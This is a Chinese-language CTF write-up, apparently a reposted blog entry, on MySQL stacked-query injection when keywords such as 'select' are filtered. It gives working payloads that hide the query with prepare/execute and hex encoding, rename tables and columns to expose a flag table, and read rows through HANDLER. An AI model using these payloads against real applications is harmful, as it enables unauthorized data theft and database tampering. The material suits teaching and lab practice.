這題講真方法 有三種,慣用的倆(實在太懶不想上圖了)總結成了純純檔案形式還包含個人理解
SQL注入是安全的一大分類,海量,難度也大,危害也大,
直接長篇大論了(適用于部分正則被過濾情況):
在SQL的注入中存在select,update等字符被過濾的情況
可嘗試大小寫區分(\i意思是對大小寫不敏感)
基本方法(1)是使用堆疊注入加SQL預編譯 目的是欺騙原來的表與列位置來實作注入
/* 預編譯相關語法如下:
set用于設定變數名和值
prepare用于預備一個陳述句,并賦予名稱,以后可以參考該陳述句
execute執行陳述句
deallocate prepare用來釋放掉預處理的陳述句*/
payload:
-1'; Set @sql = CONCAT('se','lect'*from `表名 `;');PRepare stmt from @sql;EXECUTE stmt;# //表名是數字用反引號`包括
payload2(表名被過濾): 1';SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;# //16進制繞過
/*prepare…from…是預處理陳述句,會進行編碼轉換,
execute用來執行由SQLPrepare創建的SQL陳述句,
SELECT可以在一條陳述句里對多個變數同時賦值,而SET只能一次對一個變數賦值,*/
基本方法(2)更改替換名和列名
如果有強大的正則過濾,沒有過濾alert和rename關鍵字
邏輯思維:如果將表名改為SQL注入1' or 1=1#后出現的表段
payload:
1'; alter table 舊表名 rename to 新表名;alter table 想出現的舊表名 rename to 舊表名;alter table 舊表名 change 想出現的舊列名 新列名 varchar(50);#
【ctf例題:1'; alter table words rename to words1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(50);#
拆分開來如下
1';
alter table words rename to words1;
alter table `1919810931114514` rename to words;//數字用反引號包括``
alter table words change flag id varchar(50);
#
然后使用1' or 1=1#即可查詢出flag(相當于二次注入)
】
騷方法(3)handler代替select查詢 (替換):
mysql除可使用select查詢表中的資料,也可使用handler陳述句,這條陳述句使我們能夠一行一行的瀏覽一個表中的資料,不過handler陳述句并不具備select陳述句的所有功能,它是mysql專用的陳述句,并沒有包含到SQL標準中,(用法唯一)
payload:
1'; handler `1919810931114514` open as `a`; handler `a` read next;#
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/339807.html
標籤:其他
